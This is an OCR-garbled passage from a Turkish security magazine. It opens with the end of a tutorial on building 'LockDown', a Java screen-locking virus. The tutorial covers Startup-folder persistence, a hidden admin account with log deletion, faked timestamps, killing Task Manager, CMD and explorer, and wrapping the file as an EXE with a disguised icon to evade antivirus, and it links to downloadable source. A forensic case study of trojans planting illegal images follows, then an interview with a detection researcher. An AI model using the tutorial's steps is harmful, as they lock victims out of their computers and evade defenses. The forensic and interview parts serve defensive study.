turabilir ama bu yazida kullanacagimiz drnegimizde tercih
edecegim yontem ilk yontem olacaktir. Yani virtisit Windows
Start-up (Baslangi¢) klasoriine kopyalayarak bilgisayarin her
acilisinda ¢aligmasini saglamak.

Bonus 6zellik olarak da viriisiin meta bilgilerini gizlemek iste-
yebilirsiniz, ¢linkii viriis dosyaniz bulundugunda tizerindeki
meta bilgileri viriisiin ne zaman bilgisayara bulastigina dair
detaylar icerir. Dolayisiyla viriisiin ilk ¢alistig1 anda olustur-
ma, degistirme ve son erigim tarihlerini degistirmesi kurban-
lar i¢in iyi bir sagirtmaca olacaktir.

Virtsiimiiziin kodlamasina gelirsek buradan sonra kod iistiin-
den fonksiyon ag¢iklamalari yapacagim dolayisiyla 6rnek virii-
stimiiziin kaynak kodunu asagidaki linkten indirip oradan
takip etmeniz gerekiyor.

2 Yazarin 6nerdigi Java dilinden hareketle sdylersek iiretilen JAR dosyasinin
cihaz tarafindan ¢alistirilabilmesi i¢in Java Runtime Environment (JRE)nin
kurulu olmasi gereklidir. e.n.

indirme Linki

https://drive.google.com/file/d/16 DNydtUz91sDP53SdOQN
k3waZixRNR8e/view?usp=sharin

Kendinizde kaynak kodu compile edip deneyebilirsiniz tabii,
fakat viriiste kullandigim resim dosyalarinin yerine kendi seg-
tiginiz resim dosyalarini kullanmaniz gerekecek.

MetaStealth()

Bu fonksiyon bonus 6zellik olarak bahsetmis oldugum meta
bilgisi gizlemek i¢in. Burada 6zel olarak istediginiz bir tarih
i¢in bir FileTime kullanabilirsiniz, ancak 6rnegimizdeki fonk-
siyon her 3 meta bilgisini de 1970 tarihine ayarlamaktadir.

Diger fonksiyonlara gelirsek;

makeadminaccount()

Bu fonksiyon Javadaki process ve runtime class’larimi kulla-
narak bilgisayarda terminal komutlar1 ¢alistirir ve terminal
aracilig ile bilgisayarda admin yetkisine sahip yeni bir kulla-
nic1 olusturur ve bonus olarak da islem kayitlarini siler. Tabii
biitiin bu isleri yapabilmesi i¢in viriisiin admin yetkisiyle ca-
lismis olmas gerekir.

copytostartupl)

Bu fonksiyonda viriis 6nce kendi konumuna bakar ve eger
hali hazirda Start Up klasoriinde degilse yiiklenmesi gerekiyor
demektir. Kendisini Start Up klasoriine kopyalayacak ve boy-
lece bilgisayar her yeniden baslatildiginda viriis de ¢alisacak-
tir. Ancak dikkat ettiyseniz kopyalanan viriis EXE degil JAR
dosyasidir.

Bunun sebebi eger dosya admin manifest barindiran EXE ol-
saydi o zaman bilgisayar her yeniden basladiginda en bagta
virtis bulagirken oldugu gibi admin istegi yapacakti ve artik
durumun farkina varmis olan kullanicimiz buna hayir dedi-
ginde viriis aliymayacakti. Bundan dolay1 viriis admin olmay1
gerektiren isleri en basta bir defa yapip kopyalandiktan sonra
artik admin istegi yapmayacak; boylece bonus olarak antiviriis
programlarinin da tespit etmesini zorlastirmis olacagiz.

getSHA256()

Bu fonksiyonun amaci verilen string degerinin sha256 6zetini
hesaplamak. Boylece kurban ekrandaki text kutusuna paro-
lay1 girdigi zaman program girilen parolanin kendisini degil
sha256 ozeti igindeki 6zetle kiyaslayacak.




Peki bu neden bu sekilde sakladik? Dogru parolay1 programin
i¢inde string olarak tutsaydik viriisii decompile eden birisi sif-
reyi de 6grenebilirdi, ama simdi gorecegi sey sifrenin sha256
Ozeti olacak. Bu da decompile edenin bir isine yaramayacak.

Lock()

Bu fonksiyon viriisiin ana fonksiyonu diyebiliriz. Yani bilgisa-
yar1 kilitleme sonrasinda parola sorma ve dogru parola girildi-
ginde kilidi kaldirma bu fonksiyonda gergeklesecek.

Koddan goreceginiz iizere ilk 6nce ekran ¢oziiniirliiglinii he-
saplayip sonra ekranla ayn1 en ve boyda bir siyah jFrame olus-
turuyorum bdylece ekrani kaplayip bilgisayar1 kullanilmaz
hale getirmis olacagim.

Bir jFrame’in temelini atmis oluyoruz ama tabii ki bu kadar1
yeterli degil. Daha sonra jFrame’i resize yapilmayacak sekilde
ayarlamamiz ve cercevesini kaldirmamiz gerekiyor. Boylece
mimize butonundan da kurtulmus oluyoruz. Ardindan setAl-
waysOnTop metodu ile GUI katman matrixinde jFrame’i en
liste getiriyoruz. Boylece sonradan calisacak olan herhangi
bir uygulamanin ya da windows ve TAB tuslarinin yardimiyla
masaiistiiniin gériinmesini tamamen engellemis olduk.

Daha sonra bu siyah panelin stiine sifre girme ekranini ya-
piyoruz. Bu alana sifre girilip unlock butonuna basildiginda
yanlis sifre girilmesi durumunda ekranda kurabiye canavari
resminin ¢ikmasi ve dogru sifre girildiginde ise bilgisayarin
diizelmesi i¢in action listener’larimizi ayarladiktan sonra vi-
risii ¢calisirken korumasi i¢in bir daemon thread baslatiyoruz.

Simdi biraz daemon thread’in icerigiden bahsedelim.

DaemonThread:

Virts ¢alistiktan sonra kurban sifreyle ugrasmak yerine virts-
le savagsmay1 deneyecektir. Bu durumda viriise kars: yapilacak
olas1 hamleleri diisiiniip ona gore viriisiin de kendini koruma-
st i¢in birtakim tedbirler almamiz gerekiyor.

Peki olas1 hamleler neler olabilir? Mesela kurban gorev yo-
neticisinden viriisi durdurabilecek bir process baslatabilir
ya da viriisiin hangi process oldugunu bilirse bu islemi son-
landirabilir. Ya da Gorev Yoneticisi yerine CMD (Windows
Komut Istemcisi) aracilig1 ile yine ayni hamleleri yapabilir. Bu
durumda virtisiin kendi process’inin sonlandirilmamasi i¢in
cesitli yontemlerden s6z etmek miimkiin. Mesela ikinci bir
viriis process’i ¢alisip birbirini kollar béylece ikisinden birisi
sonlandirilirsa digeri onu tekrar baglatir. Fakat benim tercih
ettigim yontem biraz daha dogrusal yani eger kurban CMD ye
yada Windows Gorev Yoneticisine erigemezse zaten bu ham-
leleri yapamayacagi icin ortada bir sorun kalmayacaktir.

Bunun i¢in virtis ¢alistiginda bu daemon threadda baglar ve
her 300 milisaniyede bir gorev yoneticisini, CMD’yi ve explo-

ARKA KAPI Bener Kaya — Kendi Viriisiinii Kendin Yaz: LockDown

rer.exe yani dosya gezginini kapatir. Dolayisiyla kurban bun-
lar1 agmay1 denedigi zaman daha ekrana goriintiisii gelmeden
kapanmis olacaklardir yani virtisiimiiz simdilik giivende.

Son olarak neden normal thread degil daemon thread diye
soracak olursaniz daemon threadlar GUI programlarinda
Javada daha iyidir, ¢tinkii normal thread’lara gore hem daha
az sistem kaynaklarini kullanir, hem de EDT yani Event Dis-
patch threadr'nda bug a sebeb olmayacagi i¢in viriisiin bug se-
bebiyle dogru calismamasi ihtimalini gidermis oluruz.

Paketleme Asamasi

Virtisimiiziin kodlamasini bitirip JAR ¢iktisini alinca artik
elde edecegimiz JAR dosyast ile viriis neredeyse kullanima ha-
zir sayilir. Fakat bir eksigimiz var.

JAR dosyasi ¢alistiginda virtis admin yetkisine sahip olmaya-
cagi i¢in kendisini Start Up klasoriine atma ve admin hesabi
olusturma ozellikleri ¢alismayacaktir. Dolayisiyla kurban bil-
gisayar kitlendikten sonra bilgisayar1 yeniden baslatarak vi-
risten kurtulabilir. Peki virtistin admin yetkisi sormasini nasil
saglariz?

Burada devreye EXE wraplama yontemi giriyor. Yapmamiz
gereken sey JAR dosyasini yani viriisti EXE haline getirip ad-
min istegi yaptirmamiz, ¢iinkii sadece EXE dosyalar1 admin
istegi yapabilir. Bunun sebebi diger dosya tiirlerinin executab-
le olmamasidir yani JAR dosyamiz aslinda javaw.exe iizerinde
yani Java Virtual Machinede caligan bir komut listesi gibidir.
Bundan dolay1 admin yetkisi JAR dosyasina degil javaw.exe’ye
verilebilir.

Wrap'lama iglemi i¢in internetten farkli programlara bakabi-
lirsiniz. Benim tercihim Launch4j programidir.
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Indirme Linki: http://launch4j.sourceforge.net

Programi indirip ¢alistirdiginizda asagidaki ekrani goreceksi-
niz.

| £ Launch4j 3.11 - untitled - [m] >
@S> 0

Basic Classpath Header Singleinstance JRE Setenv.variables Splash Version Info Messages

* Qutput file: EP

* Jar: Ev
[ Dent't wrap the jar, launch only

Wrapper manifest:

e

lcon:
Change dir: |
Cormand line args:
Process pricrity: ®) MNormal O Idle O High
Options [_] Stay alive after launching a GUI application
[] Restart the application after a crash
Java download and support
Error title:
Java download URL: |http://java.com/download

Support URL:

Log

Burada export ettigimiz JAR dosyasini ve onun EXE wraplan-
mis ¢iktis1 olacak adresi girmemiz gerekiyor. Sonrasinda prog-
ramin hazirlayacagi EXE dosyasinin admin istegi yapabilmesi
icin admin manifest dosyasina ihtiya¢ var. Bu dosyay inter-
netten bulabilirsiniz ama zaten 6ncesinde indirmis oldugunuz
kaynak kodunun yaninda mevcut.

Sonrasinda daha inandiric1 gériinmesi i¢in popiiler bir uygu-
lamanin ikonunu kullanmak isteyebilirsiniz bunun igin inter-
netten istediginiz ikonun .ico dosyasini indirip bu programda
kullanmaniz miimkiin ve son olarak EXE’yi export edebilme-
niz i¢in JRE tabina gidip min ve max JRE versiyonlarini girme-
niz gerekecek. Bunlari 1.0.0 ve 8.0.0 yapabilirsiniz sonrasinda
disli ikonuna yani Build Wrapper e basip EXE’yi tiretebiliriz.

ARKA KAPI

Ayarlamalar yaptiginizda program asagidaki gibi gériinecek.

|£| Launchd4j 3.11 - untitled - O X
@H <SP O
Basic Classpath Header Singleinstance JRE Set env. variables Splash  Version Info  Messages
* Output file: |F\LockDown malware\LockDown.exe &
* Jar: | F\LockDown malware\LockDownjar &

[] Dent't wrap the jar, launch only
Wrapper manifest: | F\LockDown malware\AdminManifest.manifest

lcon: | Fhicons\winrar-logosu_1133244.ico

Change dir: |,
Command line args:
Process priority: @) MNormal (O Idle O High
Options [] Stay alive after launching a GUI application
[] Restait the application after a crash

Java download and support

Error title:
Java doewnload URL: | http://java.com/download

Support URL:

Leg

Artik EXE ¢iktisini da aldigimiza gore viriisiimiiz kullanima
hazir.




ARKA KAPI Bener Kaya — Kendi Viriisiinii Kendin Yaz: LockDown

Viriisii ¢alistirdiginiz zaman admin yetkisi isteyecek ve verdi-
giniz zaman 6nce Windows Start Up klasorii yoluyla bilgisa-
yara bulasacak ve bilgisayarinizi asagidaki resimde goriildiigi
gibi kilitleyecektir. Kurtulmaniz i¢in dogru sifreyi girip virtis
kapandiktan sonra silmeniz gerekecek ya da USB ile Linux live
boot yapip silebilirsiniz.

Gordigiiniiz gibi encryptor benzeri bir viriis yapmis olduk.

EXE dosyasi olmasina ragmen aslinda EXE ile wraplanmis bir
JAR dosyasi oldugu i¢in anti-viriislere ve Windows Defender’a
yakalanmama konusunda basarili.

Not: compile edilmis versiyonlar1 yanhshkla ¢alisti-
rirsaniz kurtarma sifresi “Adem1234” olarak belirlen-
migstir.

Baz1 bilgisayarlarda bug sebebiyle masaiistii geri gel-
meyebilir. Bu durumda Gdorev Yoneticisi’ni acip yeni
gorev yapin ve explorer.exe’yi baglatin.

Uyari: Makalede anlatilanlar ve beraberindeki Lock-
down viriisii ve kaynak kodu tamamen egitsel amagh-
dir. Dolayisiyla bu bilgileri kullanarak yol acacaginiz
zararlar ile ilgili hicbir sorumluluk kabul etmedigimi
pesinen belirtirim.
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X-Files

Bu Dosyalar Nereden Geldi?

Olay Orgiisu:

Polise anonim bir elektronik posta mesajiyla bir devlet memu-
runun bilgisayarinda “kii¢iik yastaki resit olmayan bireylerin
agik sagik gortintiilerinin” koleksiyonunun depolandig ihbari
yapilir ve polis bu ihbar1 Cumhuriyet Bagsavciligrna bildirir.

Cumhuriyet Bagsavciligi bu ihbar1 degerlendirerek yiiriitil-
mekte olan bir sorusturmayla iliskilendirir ve polise siipheli
devlet memurunun evinde, otomobilinde ve bilgisayarinda
arama yapilmasini emreder. Yapilan aramada 2 bilgisayarin
sabit disklerinin imajlar1 alinir ve imajlarin 6zet degerleri ¢i-
karilir.

Cumhuriyet Bagsavciligrnin resen atadig bir bilirkisi heyeti
bu sabit disk imajlarinda inceleme yapar ve inceleme sonu-
cunda kii¢tik yastaki resit olmayan kisilerin agik sa¢ik goriin-
titlerini iceren yaklagik 1500 adet resim dosyasi bulunur.

Bilirkisi heyeti bu bulgular1 raporla tespit etmistir ve raporun
sonug¢ bolumiinde “Cumhuriyet Bassavcihigi'nin sorusturmasi

kapsaminda yakalanan siipheliye ait incelenmesi amaciyla ta-
rafimiza gonderilen ayrimtili seri numaras ve ozellikleri yazil
dijital materyaller icerisinde yapilan incelemeler neticesinde;
harddiskin “D:\ Users\ tosh\ AppData\ Local\ Microsoft\Win-
dows\Temporarylnternet” (Ziyaret edilen Wep sayfalarma ait
bilgilerin depolandigi yer) ve D:\Lost Files\ (Kayip veya silinmis
dosyalarin bulundugu alan) isimli klasorler altinda TCK. Mad.
226/3 de agikga sug sayilan; iiretiminde ¢ocuklarin kullamldig
miistehcen goriintiiler oldugu degerlendirilen resim dosyalar:
goriilmiistiir.” denilmektedir.

Siupheli Ifadesi:

Stipheli bu suglamayi reddetmekte, bu dosyalarin diskte nasil
olup da kaydedildigi hakkinda higbir bilgisi olmadigini soy-
lemekte, bulunan dosyalardaki bu tiir goériintiilerden igren-
digini, agik sagik goriintiiler depolayan ya da izleyen bir kisi
olmadigini, bu tiir gériintiilerin insan sémiiriisii oldugunu,
gorevi kapsamindaki isinin bu tiir suglarla miicadeleyi de kap-
sadigini ve bilgisayarini uzun siire kullanmadigini beyan eder.




Bu beyanina ek olarak yapilan incelemenin eksik oldugunu
diistindiiglini, savunmani yoluyla konusunda yetkin bir uz-
mana inceleme yaptiracagini ve uzman goriisii alacagini bil-
dirir.

Yapilan Adli Bilisim incelemesinin

Incelenmesi:

Stipheli ifadesi dikkate alindiginda, bir adli bilisim inceleme-
sinde 6nemli degere sahip olan ve sayisal verilerin nasil olu-
sabilecegine dair olasiliklarin tartisilmasi gerekliligi akla gel-
mektedir.

Sayisal ortamda depolanan veriler, istenilen sekilde; istenilen
zamani gosterecek, istenilen bilgiyi icerecek, istenilen icerige
sahip olacak, istenilen kisi tarafindan olusturuldugu izlenimi-
ni verecek sekilde, herhangi kisi ya da kisiler tarafindan olus-
turulabilir.

5271 sayili Ceza Muhakemesi Kanununun “Bilgisayarlarda,
Bilgisayar Programlarinda ve Kiitiiklerinde Arama, Kopyala-
ma ve El koyma” konusunu diizenleyen 134. maddesinde; “Bir
su¢ dolayisiyla yapilan sorusturmada, baska surette delil elde
etme imkdninin bulunmamasi halinde, Cumhuriyet savcisinin
istemi iizerine siiphelinin kullandigr bilgisayar ve bilgisayar
programlari ile bilgisayar kiitiiklerinde arama yapilmasina, bil-
gisayar kayitlarindan kopya ¢ikarilmasina, bu kayitlarin ¢ozii-
lerek metin haline getirilmesine hakim tarafindan karar verilir”
denilmektedir.

Yukarida yapilan teknik tespit ve alintilanan yasa maddesi sa-
yisal delilin illiyet baginin énemini ortaya koymaktadur.

Yasaya gore esas olan aramanin “siiphelinin kullandig: bilgi-
sayar ve bilgisayar programlar: ile bilgisayar kiitiiklerinde”
yapilmasidir.

Giintimiizde bilgisayar ve diger bilgi islem sistemleri ¢esitli-
lik arz etmekte, bu sistemler artik tek baglarina ¢alismaktan
ziyade disariya kapali[] ve disartya acik[] aglarla etkilesimde
bulunmaktadirlar.

Bu nedenle olusturulmus her sayisal verinin aidiyeti, kullanici
tarafindan kullanildig: bilinen bir bilgisayar kiitiigiinde kayitl
bulunsa bile, denetlenebiliyor ve kaynag: incelenerek agikla-
nabiliyor olmalidir. Ornegin; internete bagh bir bilgisayarda
bulunabilecek bir resim dosyasinin kullanicinin normal kulla-
nic1 davranislar1 dahilinde gezdigi bir web sitesindeki bir rek-
lamdan kaynaklanmast olasidir.

Disariya agik aglarla baglantil sistemlerde kullanici istemi di-
sinda durumlar da olusabilir.

Buna 6rnek olarak kullanicinin bir uygulama yaziliminda var
oldugunu bilmedigi ve bilmesine imkan olmayan program ha-
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tasinin 3. sahislarca tespit edilerek bu program hatasinin se-
bep oldugu zafiyetin kullanilmasidur.

Kullanic istemi diginda olusan durumlarin bir diger 6rnegi
de, goriiniir islevinden baskaca amaglar tasiyan kotii amaglh
yazilimlarin sistemde ¢alismastyla olusmaktadir. Ornegin, bir
oyun ya da ekran koruyucu olarak ¢aligan bir yazilim, ¢alistig1
sistemde bir arka kap1 agarak, bu sistemin kullanicinin bilgisi
disinda disaridan kontrol edilmesine, sistemden dosya indiril-
mesine ve sisteme dosya yiiklenmesine olanak saglayabilir.[][]

Bu nedenle imajlarda adli bilisim incelemesine baslamadan
once ge¢mis incelemeler, 6zellikle inceleme yontemi ve derin-
ligine dikkat edilerek, degerlendirilmesinde fayda vardir.

Gergekten de inceleme ve raporlarda birkag eksik ve hata dik-
kat cekicidir.

16/01/2013 tarihli “BILIRKISI INCELEME RAPORU nda su¢
konusu dosyalarin bulundugu disk béliimiiniin hatali olarak
tespit edildigi goriilmektedir.

Bu raporun 2. sayfasinda imajda yer alan disk boliimleri listesi
verilmistir.

Bu béliimlerden 400MB sigali boliimiin C: striiciist, 149GB
sigali bolimin ise D: siirtictisit oldugu varsayilmistir. Oysa,
yapilan incelemeyle, isletim sisteminin kurulu oldugu boélim
olan C: siirtictistintin disk tizerinde 149 GB siga ayrilmus 2.
boliim oldugu tespit edilmektedir.

Bu nedenle s6z konusu yazida yer alan dosyalarin bulundugu
sOylenen D: siiriiciisii ibaresi hatalidir ve aslinda C: siiriiciisii-
nii gostermelidir.

Yine aymi raporda bir kisim dosyanin “Lost Files” dizininde
yer aldig1 bilgisi yer almaktadir. “Lost Files” olarak tabir edilen
bu dizin “Kayip veya silinmis dosyalarin bulundugu alan” ola-
rak agiklanmaktadir.

Bu dizinin vasfinin bu sekilde agiklanmast teknik olarak eksik
ve hatalidir. “Lost Files” dizini, incelemeyi yapan uzmanin kul-
landig1 inceleme yaziliminca kullanilan bir terimdir. Silinmis
ve diske yeni yazilacak dosyalar i¢in ayrilan alanlarda diskten
tamamen silinmek {izere bekleyen dagilmis parcalar olarak
yer almakta olan dosyalar, kullanilan inceleme yaziliminca sa-
nal olarak “Lost Files” dizini icindeymis gibi gosterilmektedir.

Bu tiir dosyalar “yetim dosyalar”[] ya da “kayip dosyalar” ola-
rak da adlandirilir.

“Yetim dosyalar’, silinmis fakat iist verileri dosya sisteminde
geride kalmis dosyalardir. Bu iist veriler; dosya islem tarihleri
ve dosya parcalarinin diskin hangi bloklarinda yer aldig: gibi
bilgileri igerir. Bu bilgiler kullanilarak dosya pargalar: birlesti-
rilerek dosyalar kurtarilabilir ve yetim dosyalara normal kul-
lanic1 tarafindan erigilemez. Bu kurtarma islemi sadece bazi
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disk bakim ve disk inceleme yazilimlar tarafindan yapilabil-
mektedir.

NTES dosya sisteminde “Lost Files” ismini tagiyan, kullanici
tarafindan goriilebilen ve erisilebilen bir dizin bulunmamak-
tadir. Yapilan incelemede de dosya sisteminde “Lost Files” is-
minde bir dizine rastlanmamuistur.

Yine ayni raporda sug¢ unsuru olan dosyalarin sadece olustu-
rulma tarihlerinin tespit edildigi gériilmektedir.

Opysa ki, NTFS dosya sistemi dosyalar hakkinda 4 bilgi sakla-
maktadir ve bunlar;

1.Dosya verisinde son degisiklik veya dosyanin olusturulmas:
2.Dosyaya diskte son degisiklik
3.Dosyaya diskte son erisim

4.Dosyanin diskte olusturulmas: veya dosyanin diske yazil-
masl

olarak siralanir.

Sayisal dosyalarin bulunduklar: kiitiik tizerindeki dosya sis-
teminde bulunan kayitl bilgilerin incelenmesiyle dosya siste-
mince saglanan islem tarihlerinin tespiti dosyalarin kiititkte
olusumlari, yer degisimleri ve kiitiigiin bagl oldugu sistemle
iliskileri tespit edilerek degerli bulgulara ulasilabilir.

Bu raporda su¢ unsuru olan dosyalarin sadece olusturulma
tarihlerinin tespit edilmesi sebebiyle dosyalarin disk tizerinde
nasil olusturulduklar1 hakkinda hi¢bir yorum yapmak miim-
kiin olmamaktadir.

Esas Delillere Ulasilmada Olay
Orgusu:

Yapilan yeni incelemede su¢ konusu oldugu tespiti Cumhuri-
yet Bagsavciligrna sunulmak {izere diizenlenmis raporda tes-
piti yapilan ve s6z konusu raporun ekinde listesi bulunan tiim
dosyalar diskin C: siirtictisii iizerinde sayisal olarak izi kalmig
dosyalar olduklar: ortaya ¢ikmustir.

Bu dosyalardan “C:\Users\tosh\AppData\Local\Microsoft\
Windows\Temporary Internet Files” dizininde yer alanlar silin-
mis ve Cumhuriyet Bagsavciligrna sunulan bilirkisi raporun-
da “C:\Lost Files” dizininde yer aldig1 belirtilenler ise yetim
dosyalardir. Ozet olarak, bu dosyalarin tamami kullanicinin
goremedigi dosyalardir.

Diskte yapilan dosya sistemi taramasinda, C: siiriiciisiinde su¢
konusu dosyalarin da aralarinda bulundugu 2932 (iki bin do-
kuz ytz otuz iki) dosyanin disk {izerinde olusturulma, son eri-
sim ve son degisiklik tarihlerinin esit oldugu goriilmektedir.
Bu durum dosyalarin diskte kopyalanarak olusturulduklarini

ve olusturulduktan sonra hi¢ acilmadiklarina isaret etmekte-
dir.

S6z konusu dosyalarin ilkinin diskte olusturulma tarihi
18/06/2012 23:50:58 ve sonuncusunun diskte olusturulma ta-
rihi ise sistemin son kapatildig: tarihten 2 dakika 6ncesi olan
01/07/2012 13:17:12dir.

S6z konusu dosyalarin islem tarihleri incelendiginde, dosya
olusturulma tarihinin (dosya i¢indeki verinin son kez degisik-
lige ugrayarak dosya haline geldigi tarih) sistemin kullanildig1
tarih aralig1 disinda ve gegersiz tarihler tasidiklar: goriilmek-
tedir.

01/07/2012 13:17:12 tarihinin olay 6rgiisiine gore énemli bir
ozelligi daha vardir; anonim ihbar e-postasinin gonderildigi
tarihe yakin olmasi dikkat ¢ekicidir!

Bazi zararli yazilimlar, sistem tizerinde ¢alisirken, sistemin ba-
sarimini (performansini) etkilememek icin gesitli sistem 6zel-
liklerini kullanmazlar, bu 6zellikler yerine kendi i¢ program-
larinda yer alan islemlerle bazi isleri gerceklestirirler. Bu isler
arasinda baz tarih bilgilerinin rastgele ya da zararli yazilima
6zgii olarak olusturuldugu da bilinmektedir.

Bu bulgulara dayanarak disk imaji tizerinde yapilan ¢alisma
derinlestirildiginde diskte kayitli 2 dosyada zararli yazilima
rastlanmaktadur.

W32.Trojan.Locotout
“C:\Users\tosh\AppData\Local\ Temp\~!#B03C.tmp”  dosya-
sinda bulunan ve Clam Antivirus tarafindan “W32.Trojan.
Locotout” olarak taninan bir “Truva atr"dir.

Yapilan incelemede bulasmanin 19/05/2012 13:39:07 tarihin-
de oldugu tespit edilmistir. Bulasmanin ne yolla oldugu bilin-
memektedir.

Bu dosya en giincel viriis veri tabanina sahip olan VirusTotal
web sitesiyle de teyit edilmistir.

Bu Truva ati Microsoft tarafindan “Trojan:Win32/Locotout.
gen!A” olarak taninmaktadir. Microsoftun resmi sitesinde]
detayl: olarak verilen bilgiye gore bu Truva at1 baska bir Truva
at1 tarafindan indirilebilmekte ve uzaktan komut alarak “or-
tadaki adam” yontemiyle SPAM e-postalar gondermek icin
kullanilmaktadir.

Yapilan incelemede “C:\Users\tosh\AppData\Local\
Temp\~1#B03C.tmp” adl1 dosyanin 178.32.84.196 IP adresi ve
bu adrese veri gonderen kod parcas igerdigi tespit edilmek-
tedir.
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Trojan.Java-3
“C:\Users\tosh\AppData\LocalLow\Sun\Java\Deployment\
cache\6.0\25\31fddfd9-1f8483ef’ adli dosyada bulunan ve
Clam Antivirus tarafindan “Trojan.Java-3” olarak taninan bir
“Truva atr” ailesidir.

Yapilan incelemede bulasmanin 23/03/2011 01:50:08 tarihinde

oldugu tespit edilmistir. Zararli yazilimin ¢alisma seklinden Insan H aklarl Evrensel

dolay1 bulagmanin ziyaret edilen bir web sitesi yoluyla oldugu

tahmin edilmektedir. B eya nnam ESi

Bu Truva ati Microsoft tarafindan “Exploit:Java/CVE-2010-
0840” olarak taninmaktadir. Microsoft'un resmi sitesinde[] de-
tayli olarak verilen bilgiye gore bu kotii amagli yazilim bir Java
apleti olarak web tarayicisinda calismakta, belirli bir adresten

Madde 12

cesitli dosyalar ve bagka zararli yazilimlar indirmektedir, bu Hl(,: kimse ozel hayat|| aileSi| konutu
dosyalar gegici sistem dizinine yazilmaktadir ve indirilen za- veya yazismasi hususlarinda keyfl

rarli yazilimlar da bu dizinde ¢aligmaktadir.

miidahalelere, seref ve sohretine

Bu Truva at1 ailesinin birbirinden farkli 6zelliklere sahip degi-

sik hallerinin bulundugu bilinmektedir. karsi saldirilara maruz kalamaz.
Herkesin bu miidahale ve tecaviizlere
karsi korunmaya hakki vardir.

Bulgularin Ozeti:

Dosyalarin disk {izerinde olusturulma, son erisim ve son degi-
siklik tarihlerinin esit oldugu goériilmektedir. Tiim su¢ konusu
dosyalarda tarih tutarsizhig: goriilmektedir. Madde 19

Internet Explorer’n kullanici farkindaligi disinda internetten

josya1 indirdmisirll(e Zeb(;zlladolan T}rlojangavda—?; zararli yazilimi Her ferdin fikir ve ifade hijrriyetine
osyalarin diske kaydedildigi tarihte etkindir. L .
hakki vardir. Bu hak fikirlerinden

Sug konusu yetim dosyalarin kurtarilabilenleri incelendiginde,

internet sitelerinde yer alan kiigiik resimler ve tam boy olma- otuirii rahatsiz EdilmemEk. bu
yan resimler olduklari izlenimi vermektedir. fikirlere ulasmak ve fikirlerini
Sistem 23/01/2011 23:20:32 ile 01/07/2012 13:19:22 tarihleri Cn

arasinda, yaklasik 1 y1l 6 ay boyunca kullanimda olmasina rag- herhangl I_J_Ir Ulke lfl_sm OlmakS!Zln
men bahsedilen 2932 (iki bin dokuz yiiz otuz iki) su¢ konusu yayma hurrlyetml |(,:erm9kt6d|r.
dosyanin 18/06/2012 23:50:58 ile 01/07/2012 13:17:12 tarihleri

arasinda 13 giinde diskte olugmaktadir. #InsanHaklari70Y1l
S6z konusu dosyalarin Trojan.Java-3 zararli yazilimi veya bu #HumanRightS7UYearS

yazilimla sisteme bulastirilan diger zararl yazilimlar kullanila-
rak diske indirildigi anlasilmakta ve disk tizerindeki su¢ konu-
su dosyalarin ve benzer nitelikteki diger dosyalarin kullanic
istegi ve farkindalig1 dahilinde kaydedilmis olmadig1 ortaya
¢ikmaktadir.




Roportaj: Utku Sen — utku@arkakapidergi.com
Suclulari yakalamak icin,

isinde

olmak zorundasin!

Daniel Bohannon, Vasingtonda yasiyor. FireEyede Uzman

Uygulamal: Giivenlik Arastirmacisi

(Senior Applied Security Researcher) olarak ¢alisiyor.

a¢ yasindasin, nerede yasiyorsun, su anki isinde ne
yapiyorsun?

20’li yaglarimin sonundayim, Vasingtonda yastyorum.
FireEye sirketinde uzman uygulamali giivenlik arastirmacisi
olarak ¢alistyorum. Burada diinyadaki en ilging tehdit aktérle-
rini avliyoruz. Isimdeki amacim, saldirganlarin yontemlerini
ve araglarini anlamak ve bunlarin tespit edilmesini saglayan
savunma katmanlarini olusturmaktir. Tkinci “isim” ise ofiste
baristalik yapmak. Iyi kahve yapmay1 seviyorum ve aragtir-
malar gosteriyor ki saglam kafein titketen arastirmacilar kétii
aktorleri daha iyi tespit ediyor.

Bilgisayar giivenligi sektoriine ne zaman girdin, neden bas-
ka bir dal yerine giivenligi sectin? Bize hikayeni anlatabilir
misin?

Babam kariyeri boyunca yazilim gelistiriciligi yapti. Babam
calisirken ona ne yaptigini sordugumda gosterdigi kodlama
seylerine hayran olurdum. Cocukken matematik ve bilimden
de hoslandigim icin, 10 yasimdayken ileride bilgisayar bilim-
leri okumaya ve kod yazmaya (o ne demekse) karar verdim.
[lging bir sekilde iiniversiteye baglayana kadar tek satir kod
yazmadim. Fakat ilk “Merhaba diinya” kodumu yazdigimdan
beri bunun bagimlisiyim. Fakat bilgi giivenligi diinyasini tini-
versiteden mezun olana kadar kesfedememistim.

Universiteden sonraki ilk isimde database yoneticisi olarak
calistim. Burada script dilleri ile operasyonel isgleri otomatize
etme isini ¢ok sevdim. Bir yil sonra kendimi biraz zorlamak

istedim ve calisirken bir yandan yiiksek lisans yapmaya bas-
ladim. Bilgi teknolojileriyle ilgili bir alanda yiiksek lisans yap-
mak istedim ama bilgisayar bilimlerinden biraz daha spesifik
olmalrydi. Bu yiizden bilgi giivenligini segtim. Ilk donemden
itibaren giivenlik diinyasina kendimi kaptirmistim. Is yerim-
de giivenlik elemanlariyla takilmaya baslamistim ve onlara
okulda 6grendigim seylerle ilgili giinde yiiz soru soruyordum.
Yiiksek lisansim bittiginde resmi olarak giivenlik béliimiine
gectim ve operasyonel giivenlik gérevini yapmaya basladim.

3,5 yil 6nce FireEye'n danigman kolu olan Mandianta katil-
dim. Burada iki yil boyunca “Incident Response” gorevinde
calistim. Gorevim boyunca sizma eylemlerinde tespit ettigi-
miz saldirgan davranislarini kalici olarak tespit eden sistemler
gelistirmeyi kafaya takmistim. Ancak obfuscation (karmagsik
héle getirme) ve evasion (atlatma) konularini da oldukga sev-
mistim.

Bunlar sayesinde saldir1 tespit mekanizmalarimi saldirganlar-
dan 6nce bozup diizelterek test edebilirdim. Bu durum sonug
olarak beni tam zamanl giivenlik arastirmacisi olmaya itti.

Boylece arastirmalarimiz sirasinda tespit metotlarimi, en il-
ging saldirganlar1 bulmak icin kullanabilecektim.

“Invoke-Obfuscation” projen i¢in planlarin neler? Yakin
zamanda yayinlanacak bagka yeni bir projen var mi?

Ah dostum, Invoke-Obfuscation projesi basimi defansif gii-
venlikgi arkadaglarimla yeterince belaya soktu. Hala bazi is ar-
kadaslarim bana Invoke-Obfuscation ile karmagiklagtirilmig




saldir1 kodlar1 gonderip “Bu senin sugun”
diye saka yapip kodlar1 ¢6zmemi istiyorlar.
Yakin zamanda bu projeye yeni bir katki
yapmay1 diisinmityorum. Ciinkii bu proje
ispatlamaya ¢alistigim konuda beni hakli
¢ikardi. String bazli tespit mekanizmalari
obfuscation yontemiyle kolayca atlatilabilir,
dolayisiyla defansif giivenlikgiler zararli Po-
wershell aktivitelerini tespit etmek i¢in daha
akillica davranmali.

